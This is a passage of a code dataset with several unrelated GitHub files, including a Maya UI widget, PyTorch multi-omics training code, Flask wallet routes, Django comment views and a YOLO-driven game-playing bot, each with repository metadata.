QtWidgets.QVBoxLayout()\n content_layout.setContentsMargins(4, 4, 4, 4)\n content_layout.setAlignment(QtCore.Qt.AlignTop)\n\n layout = QtWidgets.QHBoxLayout()\n self.center_btn = PivotPushButton(\"Center\")\n layout.addWidget(self.center_btn)\n\n self.bake_btn = PivotPushButton(\"Bake\")\n layout.addWidget(self.bake_btn)\n content_layout.addLayout(layout)\n\n # Direction Button Grid\n grid_layout = QtWidgets.QGridLayout()\n grid_layout.setSpacing(0)\n\n self.pos_x_btn = PivotPushButton(\"+X\")\n self.cntr_x_btn = PivotPushButton(\"=X\")\n self.neg_x_btn = PivotPushButton(\"-X\")\n self.pos_y_btn = PivotPushButton(\"+Y\")\n self.cntr_y_btn = PivotPushButton(\"=Y\")\n self.neg_y_btn = PivotPushButton(\"-Y\")\n self.pos_z_btn = PivotPushButton(\"+Z\")\n self.cntr_z_btn = PivotPushButton(\"=Z\")\n self.neg_z_btn = PivotPushButton(\"-Z\")\n\n grid_layout.addWidget(self.neg_x_btn, 0, 0, 1, 2)\n grid_layout.addWidget(self.cntr_x_btn, 0, 2, 1, 1)\n grid_layout.addWidget(self.pos_x_btn, 0, 3, 1, 2)\n grid_layout.addWidget(self.neg_y_btn, 1, 0, 1, 2)\n grid_layout.addWidget(self.cntr_y_btn, 1, 2, 1, 1)\n grid_layout.addWidget(self.pos_y_btn, 1, 3, 1, 2)\n grid_layout.addWidget(self.neg_z_btn, 2, 0, 1, 2)\n grid_layout.addWidget(self.cntr_z_btn, 2, 2, 1, 1)\n grid_layout.addWidget(self.pos_z_btn, 2, 3, 1, 2)\n\n content_layout.addLayout(grid_layout)\n\n main_layout.addLayout(content_layout)\n parent.setLayout(main_layout)\n\n\nclass PivotPushButton(QtWidgets.QPushButton):\n dark_factor = 110\n\n COLORS = {\n \"+X\": COLORS.RED,\n \"=X\": QtGui.QColor(COLORS.RED).darker(dark_factor).name(),\n \"-X\": QtGui.QColor(COLORS.RED).darker(dark_factor + 15).name(),\n \"+Y\": COLORS.GREEN,\n \"=Y\": QtGui.QColor(COLORS.GREEN).darker(dark_factor).name(),\n \"-Y\": QtGui.QColor(COLORS.GREEN).darker(dark_factor + 15).name(),\n \"+Z\": COLORS.BLUE,\n \"=Z\": QtGui.QColor(COLORS.BLUE).darker(dark_factor).name(),\n \"-Z\": QtGui.QColor(COLORS.BLUE).darker(dark_factor + 15).name(),\n \"Center\": COLORS.LIGHT_GREEN,\n \"Bake\": COLORS.LIGHT_BLUE\n }\n\n def __init__(self, label, parent=None):\n QtWidgets.QPushButton.__init__(self, label, parent=parent)\n\n if label in self.COLORS:\n self.setStyleSheet(\"\"\"background-color:{color};\"\"\".format(\n color=self.COLORS[label]))\n if \"=\" in label:\n self.setText(\"=\")\n\n\ndock = dockwindow.DockWindowManager(PivotingWidget)\n","repo_name":"dotRyan/dotblox","sub_path":"python/dotbloxmaya/general/pivoting.py","file_name":"pivoting.py","file_ext":"py","file_size_in_byte":5006,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"13422415638","text":"#!/usr/bin/env python\n\"\"\"\nFile: config\nDate: 5/13/18 \nAuthor: Jon Deaton (jdeaton@stanford.edu)\n\"\"\"\n\nimport os\nimport configparser\n\ndir_name = os.path.dirname(__file__)\ndefault_config_file = os.path.join(dir_name, \"config_local.ini\")\n\n\nclass Configuration(object):\n\n def __init__(self, config_file=default_config_file):\n\n assert isinstance(config_file, str)\n # Setup the filesystem configuration\n self._config_file = os.path.join(config_file)\n self._config = configparser.ConfigParser()\n self._config.read(self._config_file)\n c = self._config\n\n self.brats_directory = os.path.expanduser(c[\"BraTS\"][\"root\"])\n self.tfrecords_dir = os.path.expanduser(c[\"BraTS\"][\"TFRecords\"])\n self.model_file = os.path.expanduser(c[\"Output\"][\"save-file\"])\n\n self.tensorboard_dir = os.path.expanduser(c[\"TensorFlow\"][\"tensorboard-dir\"])\n self.tensorboard_freq = int(c[\"TensorFlow\"][\"log-frequency\"])\n\n def overload(self, args):\n assert args is not None\n\n if args.brats_directory is not None:\n self.brats_directory = args.brats_directory\n\n if args.model_file is not None:\n self.model_file = args.model_file\n\n if args.tensorboard is not None:\n self.tensorboard_dir = args.tensorboard\n","repo_name":"jondeaton/BraTS18-Project","sub_path":"segmentation/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"61"} +{"seq_id":"73050251714","text":"import pickle\r\nimport numpy as np\r\n\r\nimport torch\r\nfrom torch.utils.data import Dataset, TensorDataset\r\nimport torch.nn as nn\r\nimport torch.optim as optim\r\nfrom tensorboardX import SummaryWriter\r\nimport src.nets\r\nfrom sklearn.metrics import mean_squared_error\r\nfrom src.util import logger\r\nfrom src.util.evaluate import evaluate_imputation, save_factorizations_to_csv\r\nfrom src.MoE.model import MixtureOfExperts\r\n\r\nclass MultiOmicsDataset():\r\n def __init__(self, data):\r\n self.data = [TensorDataset(d) for d in data]\r\n # load the 2nd data view\r\n self.length = data[0].shape[0]\r\n\r\n def __len__(self):\r\n return self.length\r\n\r\n def __getitem__(self, index):\r\n return [d1.__getitem__(index) for d1 in self.data]\r\n\r\ndef multiomic_collate(batch):\r\n d1 = [x[0] for x in batch]\r\n d2 = [x[1] for x in batch]\r\n print(len(d1))\r\n print(len(d1[0]))\r\n\r\n return torch.from_numpy(np.array(d1)), torch.from_numpy(np.array(d2))\r\n\r\ndef evaluateUsingBatches(net, device, dataloader, multimodal=False):\r\n for i, trd in enumerate(dataloader):\r\n if i == 0:\r\n if not multimodal:\r\n x = trd[0].to(device).double()\r\n metrics = net.evaluate(x)\r\n for kk in metrics:\r\n metrics[kk] *= x.shape[0]\r\n else:\r\n x1 = trd[0][0].to(device).double()\r\n x2 = trd[1][0].to(device).double()\r\n # evaluate method averages across samples, multiply with #samples to get total\r\n metrics = net.evaluate([x1, x2])\r\n for kk in metrics:\r\n metrics[kk] *= x1.shape[0]\r\n\r\n else:\r\n # add intermediate metrics to total\r\n if not multimodal:\r\n x = trd[0].to(device).double()\r\n tmpmetrics = net.evaluate(x)\r\n shape = x.shape[0]\r\n else:\r\n x1 = trd[0][0].to(device).double()\r\n x2 = trd[1][0].to(device).double()\r\n tmpmetrics = net.evaluate([x1, x2])\r\n shape = x1.shape[0]\r\n\r\n for kk in metrics:\r\n metrics[kk] += tmpmetrics[kk] * shape\r\n\r\n for kk in metrics:\r\n # now divide by total number of points to get the average across all samples\r\n metrics[kk] /= len(dataloader.dataset)\r\n\r\n\r\n return metrics\r\n\r\ndef evaluatePerDatapoint(net, device, dataloader, multimodal=False):\r\n assert len(dataloader) == len(dataloader.dataset), 'Use batch size 1 for evaluatePerDatapoint'\r\n metrics = dict()\r\n for i, trd in enumerate(dataloader):\r\n if i == 0:\r\n if not multimodal:\r\n raise NotImplementedError\r\n # x = trd[0].to(device).double()\r\n # metrics = net.evaluate(x)\r\n # for kk in metrics:\r\n # metrics[kk] *= x.shape[0]\r\n else:\r\n x1 = trd[0][0].to(device).double().reshape(1,-1)\r\n x2 = trd[1][0].to(device).double().reshape(1,-1)\r\n # evaluate method averages across samples, multiply with #samples to get total\r\n tmpmetrics = net.evaluate([x1, x2])\r\n\r\n\r\n for kk in tmpmetrics:\r\n metrics[kk] = torch.zeros(len(dataloader))\r\n\r\n else:\r\n\r\n if not multimodal:\r\n raise NotImplementedError\r\n else:\r\n x1 = trd[0][0].to(device).double().reshape(1,-1)\r\n x2 = trd[1][0].to(device).double().reshape(1,-1)\r\n tmpmetrics = net.evaluate([x1, x2])\r\n shape = x1.shape[0]\r\n\r\n for kk in metrics:\r\n metrics[kk][i] = tmpmetrics[kk]\r\n\r\n\r\n return metrics\r\n\r\n\r\ndef train(device, net, num_epochs, train_loader, train_loader_eval, valid_loader, ckpt_dir, logs_dir, early_stopping,\r\n save_step=10, multimodal=False):\r\n # Define logger\r\n tf_logger = SummaryWriter(logs_dir)\r\n\r\n # Load checkpoint model and optimizer\r\n start_epoch = load_checkpoint(net, filename=ckpt_dir + '/model_last.pth.tar')\r\n\r\n\r\n # Evaluate validation set before start training\r\n print(\"[*] Evaluating epoch %d...\" % start_epoch)\r\n if not isinstance(net, MixtureOfExperts):\r\n # this takes too long on MoE, so we skip it\r\n metrics = evaluateUsingBatches(net, device, train_loader_eval, multimodal)\r\n\r\n assert 'loss' in metrics\r\n print(\"--- Training loss:\\t%.4f\" % metrics['loss'])\r\n\r\n net.eval()\r\n metrics = evaluateUsingBatches(net, device, valid_loader, multimodal)\r\n bestValLoss = metrics['loss']\r\n bestValEpoch = 0\r\n\r\n assert 'loss' in metrics\r\n print(\"--- Validation loss:\\t%.4f\" % metrics['loss'])\r\n\r\n\r\n # Start training phase\r\n print(\"[*] Start training...\")\r\n # Training epochs\r\n for epoch in range(start_epoch, num_epochs):\r\n net.train()\r\n\r\n print(\"[*] Epoch %d...\" % (epoch + 1))\r\n # for param_group in optimizer.param_groups:\r\n #\tprint('--- Current learning rate: ', param_group['lr'])\r\n\r\n for data in train_loader:\r\n # Get current batch and transfer to device\r\n # data = data.to(device)\r\n\r\n with torch.set_grad_enabled(True): # no need to specify 'requires_grad' in tensors\r\n # Set the parameter gradients to zero\r\n net.opt.zero_grad()\r\n\r\n if not multimodal:\r\n current_loss = net.compute_loss(data[0].to(device).double())\r\n else:\r\n current_loss = net.compute_loss([data[0][0].to(device).double(), data[1][0].to(device).double()])\r\n\r\n # Backward pass and optimize\r\n current_loss.backward()\r\n net.opt.step()\r\n\r\n # Save last model\r\n state = {'epoch': epoch + 1, 'state_dict_enc': [enc.state_dict() for enc in net.encoders], 'state_dict_dec': [dec.state_dict() for dec in net.decoders], 'optimizer': net.opt.state_dict()}\r\n torch.save(state, ckpt_dir + '/model_last.pth.tar')\r\n\r\n\r\n # Evaluate all training set and validation set at epoch\r\n print(\"[*] Evaluating epoch %d...\" % (epoch + 1))\r\n net.eval()\r\n if not isinstance(net, MixtureOfExperts):\r\n # skip for MoE, it takes too long\r\n metricsTrain = evaluateUsingBatches(net, device, train_loader_eval, multimodal)\r\n print(\"--- Training loss:\\t%.4f\" % metricsTrain['loss'])\r\n\r\n\r\n metricsValidation = evaluateUsingBatches(net, device, valid_loader, multimodal)\r\n print(\"--- Validation loss:\\t%.4f\" % metricsValidation['loss'])\r\n\r\n if metricsValidation['loss'] < bestValLoss:\r\n bestValLoss = metricsValidation['loss']\r\n bestValEpoch = epoch + 1\r\n torch.save(state, ckpt_dir + '/model_best.pth.tar')\r\n\r\n\r\n\r\n # Save model at epoch, and record loss at that checkpoint\r\n if (epoch + 1) % save_step == 0:\r\n print(\"[*] Saving model epoch %d...\" % (epoch + 1))\r\n torch.save(state, ckpt_dir + '/model_epoch%d.pth.tar' % (epoch + 1))\r\n\r\n early_stopping(metricsValidation['loss'])\r\n\r\n for m in metricsValidation:\r\n if not isinstance(net, MixtureOfExperts):\r\n tf_logger.add_scalar(m + '/train', metricsTrain[m], epoch + 1)\r\n tf_logger.add_scalar(m + '/validation', metricsValidation[m], epoch + 1)\r\n\r\n\r\n\r\n\r\n # Stop training when not improving\r\n if early_stopping.early_stop:\r\n logger.info('Early stopping training since loss did not improve for {} epochs.'\r\n .format(early_stopping.patience))\r\n break\r\n\r\n print(\"[*] Finish training.\")\r\n return bestValLoss, bestValEpoch\r\n\r\n\r\ndef impute(net, model_file, loader, device, save_dir, sample_names, num_features1, num_features2, multimodal=False):\r\n checkpoint = torch.load(model_file)\r\n net.load_state_dict(checkpoint['state_dict'])\r\n net.opt.load_state_dict(checkpoint['optimizer'])\r\n\r\n # Extract embeddings\r\n net.eval()\r\n\r\n with torch.no_grad(): # set all 'requires_grad' to False\r\n for data in loader:\r\n if not multimodal:\r\n raise NotImplementedError\r\n\r\n else:\r\n omic1_test = data[0][0]\r\n omic2_test = data[1][0]\r\n\r\n # Encode test set in same encoder\r\n z1, z2 = net.encode(omic1_test, omic2_test)\r\n\r\n # Now decode data in different decoder\r\n omic1_from_omic2 = net.decoder(z2)\r\n omic2_from_omic1 = net.decoder2(z1)\r\n\r\n # Convert Tensors to numpy for evaluation\r\n if device != \"cpu\":\r\n z1 = z1.cpu().numpy()\r\n z2 = z2.cpu().numpy()\r\n omic1_from_omic2 = omic1_from_omic2.cpu().numpy()\r\n omic2_from_omic1 = omic2_from_omic1.cpu().numpy()\r\n omic1_test = omic1_test.cpu().numpy()\r\n omic2_test = omic2_test.cpu().numpy()\r\n else:\r\n z1 = z1.numpy()\r\n z2 = z2.numpy()\r\n omic1_from_omic2 = omic1_from_omic2.numpy()\r\n omic2_from_omic1 = omic2_from_omic1.numpy()\r\n omic1_test = omic1_test.numpy()\r\n omic2_test = omic2_test.numpy()\r\n\r\n # Imputation losses\r\n NR_MODALITIES = 2\r\n\r\n # mse[i,j]: performance of using modality i to predict modality j\r\n mse = np.zeros((NR_MODALITIES, NR_MODALITIES), float)\r\n rsquared = np.eye(NR_MODALITIES)\r\n spearman = np.zeros((NR_MODALITIES, NR_MODALITIES, 2), float) # ,2 since we report mean and median\r\n spearman_p = np.zeros((NR_MODALITIES, NR_MODALITIES), float)\r\n\r\n # From x to y\r\n mse[0, 1], rsquared[0, 1], spearman[0, 1], spearman_p[0, 1] =\\\r\n evaluate_imputation(omic2_from_omic1, omic2_test, num_features2, 'mse'),\\\r\n evaluate_imputation(omic2_from_omic1, omic2_test, num_features2, 'rsquared'), \\\r\n evaluate_imputation(omic2_from_omic1, omic2_test, num_features2, 'spearman_corr'),\\\r\n evaluate_imputation(omic2_from_omic1, omic2_test, num_features2, 'spearman_p')\r\n mse[1, 0], rsquared[1, 0], spearman[1, 0], spearman_p[1, 0] =\\\r\n evaluate_imputation(omic1_from_omic2, omic1_test, num_features1, 'mse'),\\\r\n evaluate_imputation(omic1_from_omic2, omic1_test, num_features1, 'rsquared'), \\\r\n evaluate_imputation(omic1_from_omic2, omic1_test, num_features1, 'spearman_corr'), \\\r\n evaluate_imputation(omic1_from_omic2, omic1_test, num_features1, 'spearman_p')\r\n\r\n performance = {'mse': mse, 'rsquared': rsquared, 'spearman_corr': spearman, 'spearman_p': spearman_p}\r\n with open(save_dir + \"/CGAE_task1_results.pkl\", 'wb') as f:\r\n pickle.dump(performance, f)\r\n\r\n logger.info(\"Performance: {}\".format(performance))\r\n np.save(\"{}/task1_z1.npy\".format(save_dir), z1)\r\n np.save(\"{}/task1_z2.npy\".format(save_dir), z2)\r\n save_factorizations_to_csv(z1, sample_names, save_dir, 'task1_z1')\r\n save_factorizations_to_csv(z2, sample_names, save_dir, 'task1_z2')\r\n\r\n\r\n return z1, z2\r\n\r\n\r\ndef extract(net, model_file, loader, save_dir, multimodal=False):\r\n ## not 100% happy with the way embeddings are saved now\r\n ## we need separate directories for train/validation/test data\r\n checkpoint = torch.load(model_file)\r\n net.load_state_dict(checkpoint['state_dict'])\r\n net.opt.load_state_dict(checkpoint['optimizer'])\r\n\r\n # Extract embeddings\r\n net.eval()\r\n\r\n with torch.no_grad(): # set all 'requires_grad' to False\r\n for data in loader:\r\n if not multimodal:\r\n raise NotImplementedError\r\n\r\n else:\r\n ge_test = data[0][0]\r\n me_test = data[1][0]\r\n\r\n # Encode test set in same encoder\r\n z1, z2 = net.encode(ge_test, me_test)\r\n z1 = z1.cpu().numpy().squeeze()\r\n z2 = z2.cpu().numpy().squeeze()\r\n\r\n np.save(\"{}/task2_z1.npy\".format(save_dir), z1)\r\n np.save(\"{}/task2_z2.npy\".format(save_dir), z2)\r\n\r\n return z1, z2\r\n\r\n\r\ndef load_checkpoint(net, filename='model_last.pth.tar'):\r\n start_epoch = 0\r\n try:\r\n checkpoint = torch.load(filename)\r\n start_epoch = checkpoint['epoch']\r\n net.load_state_dict(checkpoint['state_dict'])\r\n net.opt.load_state_dict(checkpoint['optimizer'])\r\n\r\n print(\"\\n[*] Loaded checkpoint at epoch %d\" % start_epoch)\r\n except:\r\n print(\"[!] No checkpoint found, start epoch 0\")\r\n\r\n return start_epoch\r\n","repo_name":"brmprnk/jointomicscomp","sub_path":"src/CGAE/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":12965,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"30824948311","text":"import ansiblelint.config\nimport pytest\n\nfrom rules import TasksFileHasValidNameRule as TT\nfrom tests import common\n\n\nclass Base(common.Base):\n this_mod: common.MaybeModT = TT\n default_skip_list = ['file_has_valid_name']\n\n\nclass RuleTestCase(common.RuleTestCase):\n base_cls = Base\n\n\nclass CliTestCase(common.CliTestCase):\n base_cls = Base\n\n\n@pytest.mark.parametrize(\n 'path,name,unicode,expected',\n [('tasks/main.yml', '', False, True),\n ('tasks/incl/main.yml', '', False, True),\n ('tasks/main-0.yml', '', False, False),\n ('tasks/main .yml', '', False, False),\n ('tasks/ng_1.yml', '', False, False),\n ('tasks/ng_1.yml', r'^\\w+\\.ya?ml$', True, True),\n ('tasks/ng-2.yml', '', False, False),\n ('tasks/include/main-0.yml', r'\\S+', False, True),\n ]\n)\ndef test_is_valid_filename(path, name, unicode, expected, monkeypatch):\n if name:\n patch = dict(name=name, unicode=unicode)\n else:\n patch = dict(unicode=unicode)\n\n # pylint: disable=no-member\n monkeypatch.setitem(ansiblelint.config.options.rules, TT.ID, patch)\n base = Base()\n assert base.rule.is_valid_filename(path) == expected\n base.clear()\n","repo_name":"ssato/ansible-lint-custom-rules","sub_path":"tests/TestTasksFileHasValidNameRule.py","file_name":"TestTasksFileHasValidNameRule.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"61"} +{"seq_id":"69922079554","text":"from flask import Blueprint, request\nfrom sqlalchemy.exc import IntegrityError\nfrom app.models import db, Wallet\nfrom flask_login import current_user, login_required\n\nwallet_routes = Blueprint('wallets', __name__)\n\n\n@wallet_routes.route('/create', methods=['POST'])\n@login_required\ndef post_wallet():\n data = request.json\n wallet = Wallet(\n user_id=data['user_id'],\n name=data['name'],\n balance=data['balance'],\n startingBalance=data['balance'])\n db.session.add(wallet)\n db.session.commit()\n return wallet.to_dict()\n\n@wallet_routes.route('//update', methods=['PUT'])\n@login_required\ndef update_wallet(wallet_id):\n data = request.json\n wallet = Wallet.query.get(wallet_id)\n wallet.name = data['name']\n wallet.balance = data['balance']\n db.session.add(wallet)\n db.session.commit()\n return wallet.to_dict()\n\n\n@wallet_routes.route('//delete', methods=['DELETE'])\n@login_required\ndef delete_wallet(wallet_id):\n wallet = Wallet.query.get(wallet_id)\n db.session.delete(wallet)\n db.session.commit()\n return { \"message\": 'Deleted!'}\n\n@wallet_routes.route('/', methods=['GET'])\n@wallet_routes.route('/', methods=['GET'])\ndef get_wallet(wallet_id=None):\n if (wallet_id is None):\n wallet = Wallet.query.filter_by(user_id = current_user.id).first()\n else:\n wallet = Wallet.query.get(wallet_id)\n if (wallet is None):\n return {\"transactions\": [], \"balance\": 0}\n else:\n return wallet.to_dict()\n\n\n\n","repo_name":"ethanswe/Crypto-Club","sub_path":"app/api/wallet_routes.py","file_name":"wallet_routes.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"74943543555","text":"import random\nimport cv2\nfrom time import time, sleep\nimport functions.keys as k\nfrom ultralytics import YOLO\nimport pyautogui\nimport numpy as np\nfrom functions.agent import llm_agent\n\ndef capture_screen():\n screen = pyautogui.screenshot()\n frame = cv2.cvtColor(np.array(screen), cv2.COLOR_RGB2BGR)\n return frame\n\ndef play_game():\n keys = k.Keys()\n\n # Load the YOLO models\n kratos_model = YOLO(\"Kratos.pt\")\n other_objects_model = YOLO(\"enemy.pt\")\n\n # Create VideoWriter object to save the output video\n frame_width, frame_height = 1920, 1080\n output_video = cv2.VideoWriter('output.mp4', cv2.VideoWriter_fourcc(*'mp4v'), 30, (frame_width, frame_height))\n\n while True:\n # Capture the screen\n screen = capture_screen()\n\n # Get screen dimensions\n if frame_width is None or frame_height is None:\n frame_height, frame_width, _ = screen.shape\n\n # Perform object detection on the screen using the Kratos model\n kratos_results = kratos_model(screen)\n\n # Extract bounding boxes and confidences for Kratos detections\n kratos_boxes = kratos_results[0].boxes\n kratos_confidences = kratos_boxes.conf\n\n # Check if there are any Kratos detections\n if len(kratos_confidences) != 0:\n # Find the index of the detection with the highest confidence\n kratos_index = kratos_confidences.argmax()\n # Get the coordinates of the Kratos bounding box\n kratos_x1, kratos_y1, kratos_x2, kratos_y2 = kratos_boxes.xyxy.round().int().tolist()[kratos_index][:4]\n # Draw bounding box and label for Kratos\n cv2.rectangle(screen, (kratos_x1, kratos_y1), (kratos_x2, kratos_y2), (0, 0, 255), 2)\n kratos_label = f\"Class: Kratos LLM Agent Control Mode (Confidence: {kratos_confidences[kratos_index]:.2f})\"\n cv2.putText(screen, kratos_label, (kratos_x1, kratos_y1 - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.9, (0, 0, 255), 2)\n else:\n kratos_x1, kratos_y1, kratos_x2, kratos_y2 = 0, 0, 1920, 1080\n\n # Perform object detection on the screen using the other objects model\n other_objects_results = other_objects_model(screen)\n\n # Extract bounding boxes and confidences for other objects detections\n other_objects_boxes = other_objects_results[0].boxes\n other_objects_confidences = other_objects_boxes.conf\n\n # Display the image with bounding boxes and labels\n for box in other_objects_boxes:\n x1, y1, x2, y2 = box.xyxy.round().int().tolist()[0][:4]\n confidence = box.conf.item()\n class_id = box.cls.item()\n\n # Draw bounding box rectangle\n cv2.rectangle(screen, (x1, y1), (x2, y2), (0, 255, 0), 2)\n\n label = f\"Class: {other_objects_results[0].names[int(class_id)]}\"\n cv2.putText(screen, label, (x1, y1 - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.9, (0, 255, 0), 2)\n\n # Move Kratos towards the nearest person\n if len(other_objects_boxes) > 0:\n kratos_center_x = int((kratos_x1 + kratos_x2) / 2)\n kratos_center_y = int((kratos_y1 + kratos_y2) / 2)\n\n nearest_person = other_objects_boxes[0]\n person_x1, person_y1, person_x2, person_y2 = nearest_person.xyxy.round().int().tolist()[0][:4]\n person_center_x = int((person_x1 + person_x2) / 2)\n person_center_y = int((person_y1 + person_y2) / 2)\n\n # Calculate the distance between Kratos and the nearest person\n distance_x = person_center_x - kratos_center_x\n distance_y = person_center_y - kratos_center_y\n\n # Check if a person is very close to Kratos\n if abs(distance_x) < 50 or abs(distance_y) < 50:\n # Select an action\n action = llm_agent(screen) \n if action == \"light attack\":\n # Left mouse click (attack)\n keys.directMouse(buttons=keys.mouse_lb_press)\n sleep(0.5)\n keys.directMouse(buttons=keys.mouse_lb_release)\n elif action == \"heavy attack\":\n # Right mouse click (attack)\n keys.directMouse(buttons=keys.mouse_rb_press)\n sleep(0.5)\n keys.directMouse(buttons=keys.mouse_rb_release)\n elif action == \"dodge back\":\n # Move in the opposite direction to the NPC\n direction = random.choice([\"w\", \"a\", \"s\", \"d\"])\n keys.directKey(direction)\n sleep(0.04)\n keys.directKey(direction, keys.key_release)\n # Press the space bar twice\n keys.directKey('0x39')\n sleep(0.04)\n keys.directKey(\"0x39\", keys.key_release)\n sleep(0.04)\n keys.directKey('0x39')\n sleep(0.04)\n keys.directKey(\"0x39\", keys.key_release)\n\n # Move Kratos towards the nearest person\n if distance_x < 0:\n keys.directKey(\"a\")\n sleep(1)\n keys.directKey(\"a\", keys.key_release)\n elif distance_x > 0:\n keys.directKey(\"d\")\n sleep(1)\n keys.directKey(\"d\", keys.key_release)\n\n if distance_y < 0:\n keys.directKey(\"w\")\n sleep(1)\n keys.directKey(\"w\", keys.key_release)\n elif distance_y > 0:\n keys.directKey(\"s\")\n sleep(1)\n keys.directKey(\"s\", keys.key_release)\n else:\n # Move the camera if no person is detected\n keys.directMouse(-20, 0)\n sleep(0.04)\n \n # Write the frame with bounding boxes to the output video\n output_video.write(screen)\n\n # Display the frame with bounding boxes and labels\n cv2.imshow('Object Detection', screen)\n\n # Wait for 'q' key to exit\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n # Release the video capture, output video, and close the window\n output_video.release()\n cv2.destroyAllWindows()\n","repo_name":"AkshitIreddy/AI-Plays-God-of-War","sub_path":"functions/play.py","file_name":"play.py","file_ext":"py","file_size_in_byte":6257,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"61"} +{"seq_id":"32314732185","text":"# マラソンで完走出来なかった選手探し.\n#\n# 【条件】\n# 完走できなかった選手は1人のみ.\n# 同姓同名あり.\ndef solution(participant, completion):\n # マラソンで完走出来なかった選手\n answer = ''\n # sort(): 元のリストをソート\n # sorted(): ソートした新たなリストを生成\n sorted_participant = sorted(participant)\n sorted_completion = sorted(completion)\n\n for index in range(len(sorted_completion)):\n if sorted_participant[index] != sorted_completion[index]:\n answer = sorted_participant[index]\n return answer\n\n return answer\n\n\ndef main():\n print(solution([\"mislav\", \"stanko\", \"mislav\", \"ana\"], [\"stanko\", \"ana\", \"mislav\"]))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"cute3954/Coding_Test_Practice","sub_path":"Marathon/Find-Participant.py","file_name":"Find-Participant.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5251354969","text":"from django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.utils import timezone\n\n\nfrom ..forms import CommentForm\nfrom ..models import Question, Comment\n\n@login_required(login_url='common:login')\ndef comment_create_question(request, question_id):\n \"\"\"\n polls register comment on question\n \"\"\"\n question = get_object_or_404(Question, pk=question_id)\n if request.method == \"POST\":\n form = CommentForm(request.POST)\n if form.is_valid():\n comment = form.save(commit=False)\n comment.author = request.user\n comment.create_date = timezone.now()\n comment.question = question\n comment.save()\n return redirect('polls:detail', question_id=question.id)\n else:\n form = CommentForm()\n context = {'form': form}\n return render(request, 'polls/comment_form.html', context)\n\n\n@login_required(login_url='common:login')\ndef comment_modify_question(request, comment_id):\n \"\"\"\n polls modify comment on question\n \"\"\"\n comment = get_object_or_404(Comment, pk=comment_id)\n if request.user != comment.author:\n messages.error(request, 'There is no authority to modify')\n return redirect('polls:detail', question_id=comment.question.id)\n\n if request.method == \"POST\":\n form = CommentForm(request.POST, instance=comment)\n if form.is_valid():\n comment = form.save(commit=False)\n comment.author = request.user\n comment.modify_date = timezone.now()\n comment.save()\n return redirect('polls:detail', question_id=comment.question.id)\n else:\n form = CommentForm(instance=comment)\n context = {'form': form}\n return render(request, 'polls/comment_form.html', context)\n\n\n@login_required(login_url='common:login')\ndef comment_delete_question(request, comment_id):\n \"\"\"\n polls delete comment on question\n \"\"\"\n comment = get_object_or_404(Comment, pk=comment_id)\n if request.user != comment.author:\n messages.error(request, 'There is no authority to delete')\n return redirect('polls:detail', question_id=comment.question_id)\n else:\n comment.delete()\n messages.success(request, 'Delete comment success')\n return redirect('polls:detail', question_id=comment.question_id)\n\n\n\n# def post_detail(request, slug):\n# post = Post.objects.get(slug=slug)\n# if request.method == 'POST':\n# form = CommentForm(request.POST)\n# if form.is_valid():\n# reply_obj = None\n# try:\n# reply_id = int(request.POST.get('reply_id'))\n# except:\n# reply_id = None\n# if reply_id:\n# reply_obj = Comment.objects.get(id=reply_id)\n#\n# author = form.cleaned_data['author']\n# comment = form.cleaned_data['comment']\n# if reply_obj:\n# Comment(author=author,comment_field=comment, reply=reply_obj, post=post).save()\n# else:\n# Comment(author=author,comment_field=comment, post=post).save()\n# return redirect(reverse('post_detail', args=[post.slug]))\n# else:\n# form = CommentForm()\n# comments = Comment.objects.filter(post=post, reply=None).order_by('-create_date')\n# context = {\n# 'post':post,\n# 'form':form,\n# 'comments':comments\n# }\n# return render(request, 'post_detail.html', context)","repo_name":"SmilingSammy/hamji-assignment","sub_path":"polls/views/comment_views.py","file_name":"comment_views.py","file_ext":"py","file_size_in_byte":3556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9364824959","text":"#\n# @lc app=leetcode.cn id=290 lang=python3\n#\n# [290] 单词规律\n#\n\n# @lc code=start\nclass Solution:\n def wordPattern(self, pattern: str, s: str) -> bool:\n\n words = s.split()\n if len(pattern)!= len(words):\n return False\n helper1 = {}\n helper2 = {}\n for i,word in enumerate(words):\n if pattern[i] in helper1 and helper1[pattern[i]] !=word:\n return False\n if word in helper2 and helper2[word] !=pattern[i]:\n return False\n helper1[pattern[i]] = word\n helper2[word] = pattern[i]\n return True\n \n\n# @lc code=end\n\n","repo_name":"mqinbin/python_leetcode","sub_path":"290.单词规律.py","file_name":"290.单词规律.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16601349978","text":"# force floating point division. Can still use integer with //\nfrom __future__ import division\n# This file is used for importing the common utilities classes.\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys\n\nsys.path.append(\"../../\")\nimport Util.MeltingTemperatureUtil as melt\n\ndef TestMeltingTemperatures(Seqs,TemperatureFunction,abstol=1.4,rtol=0,\n **kwargs):\n \"\"\"\n Seq: list of tuples, like \n\n TemperatureFunction: function which takes in a sequence, gives back\n a temperature\n \n abstol: asbolute temperature in celcius. Defaults to idt's specified error\n for DNA/DNA hybridization, see http://www.idtdna.com/calc/analyzer\n\n rtol: relative tolerance, defaults to zero\n kwargs: passed directly to assert_allclose\n \"\"\"\n for i,(seq,expected) in enumerate(Seqs):\n actual = TemperatureFunction(seq)\n 